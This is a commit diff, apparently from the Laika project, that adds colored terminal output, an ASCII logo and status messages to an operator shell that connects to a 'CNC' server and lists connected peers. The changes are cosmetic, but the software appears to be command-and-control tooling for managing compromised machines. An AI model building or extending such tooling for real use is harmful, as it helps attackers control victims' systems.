mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-08 08:50:12 +00:00
Shell: improved looks, added colored output
This commit is contained in:
@@ -12,8 +12,34 @@
|
||||
|
||||
#include "sclient.h"
|
||||
|
||||
typedef enum {
|
||||
TERM_BLACK,
|
||||
TERM_RED,
|
||||
TERM_GREEN,
|
||||
TERM_YELLOW,
|
||||
TERM_BLUE,
|
||||
TERM_MAGENTA,
|
||||
TERM_CYAN,
|
||||
TERM_WHITE,
|
||||
TERM_BRIGHT_BLACK,
|
||||
TERM_BRIGHT_RED,
|
||||
TERM_BRIGHT_GREEN,
|
||||
TERM_BRIGHT_YELLOW,
|
||||
TERM_BRIGHT_BLUE,
|
||||
TERM_BRIGHT_MAGENTA,
|
||||
TERM_BRIGHT_CYAN,
|
||||
TERM_BRIGHT_WHITE
|
||||
} TERM_COLOR;
|
||||
|
||||
#define PRINTINFO(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
shellT_printf(__VA_ARGS__);
|
||||
|
||||
#define PRINTSUCC(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_GREEN), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
shellT_printf(__VA_ARGS__);
|
||||
|
||||
void shellT_conioTerm(void);
|
||||
void shellT_resetTerm(void);
|
||||
const char *shellT_getForeColor(TERM_COLOR);
|
||||
void shellT_printf(const char *format, ...);
|
||||
|
||||
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */
|
||||
|
@@ -3,10 +3,18 @@
|
||||
#include "sclient.h"
|
||||
#include "sterm.h"
|
||||
|
||||
#define STRING(x) #x
|
||||
#define MACROLITSTR(x) STRING(x)
|
||||
|
||||
const char *LOGO = "\n██╗ █████╗ ██╗██╗ ██╗ █████╗\n██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n██║ ███████║██║█████╔╝ ███████║\n██║ ██╔══██║██║██╔═██╗ ██╔══██║\n███████╗██║ ██║██║██║ ██╗██║ ██║\n╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
|
||||
|
||||
int main(int argv, char *argc[]) {
|
||||
tShell_client client;
|
||||
bool printPrompt = false;
|
||||
|
||||
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
|
||||
shellT_printf("\t\t%s\n\n", " v"MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
|
||||
|
||||
shellC_init(&client);
|
||||
shellC_connectToCNC(&client, "127.0.0.1", "13337");
|
||||
|
||||
|
@@ -31,6 +31,8 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
|
||||
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
|
||||
PRINTSUCC("Handshake accepted!\n");
|
||||
}
|
||||
|
||||
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
@@ -185,6 +187,8 @@ void shellC_cleanup(tShell_client *client) {
|
||||
void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
|
||||
struct sLaika_socket *sock = &client->peer->sock;
|
||||
|
||||
PRINTINFO("Connecting to CNC...\n");
|
||||
|
||||
/* create encryption keys */
|
||||
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
|
||||
LAIKA_ERROR("failed to gen session key!\n");
|
||||
@@ -291,9 +295,9 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
|
||||
|
||||
/* let user know */
|
||||
if (!shellC_isShellOpen(client)) {
|
||||
shellT_printf("\nNew peer connected to CNC:\n");
|
||||
shellP_printInfo(newPeer);
|
||||
PRINTSUCC("Peer %04d connected\n", id)
|
||||
}
|
||||
|
||||
return id;
|
||||
}
|
||||
|
||||
@@ -304,9 +308,9 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
|
||||
/* remove peer from hashmap */
|
||||
hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer});
|
||||
|
||||
/* tell user */
|
||||
if (!shellC_isShellOpen(client)) {
|
||||
shellT_printf("\nPeer disconnected from CNC:\n");
|
||||
shellP_printInfo(oldPeer);
|
||||
PRINTINFO("Peer %04d disconnected\n", id)
|
||||
}
|
||||
|
||||
/* finally, free peer */
|
||||
|
@@ -35,6 +35,27 @@ void shellT_resetTerm(void) {
|
||||
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
|
||||
}
|
||||
|
||||
const char *shellT_getForeColor(TERM_COLOR col) {
|
||||
switch (col) {
|
||||
case TERM_BLACK: return "\033[30m"; break;
|
||||
case TERM_RED: return "\033[31m"; break;
|
||||
case TERM_GREEN: return "\033[32m"; break;
|
||||
case TERM_YELLOW: return "\033[33m"; break;
|
||||
case TERM_BLUE: return "\033[34m"; break;
|
||||
case TERM_MAGENTA: return "\033[35m"; break;
|
||||
case TERM_CYAN: return "\033[36m"; break;
|
||||
case TERM_WHITE: return "\033[37m"; break;
|
||||
case TERM_BRIGHT_BLACK: return "\033[90m"; break;
|
||||
case TERM_BRIGHT_RED: return "\033[91m"; break;
|
||||
case TERM_BRIGHT_GREEN: return "\033[92m"; break;
|
||||
case TERM_BRIGHT_YELLOW: return "\033[93m"; break;
|
||||
case TERM_BRIGHT_BLUE: return "\033[94m"; break;
|
||||
case TERM_BRIGHT_MAGENTA: return "\033[95m"; break;
|
||||
case TERM_BRIGHT_CYAN: return "\033[96m"; break;
|
||||
case TERM_BRIGHT_WHITE: default: return "\033[97m"; break;
|
||||
}
|
||||
}
|
||||
|
||||
void shellT_printf(const char *format, ...) {
|
||||
va_list args;
|
||||
|
||||
|
Reference in New Issue
Block a user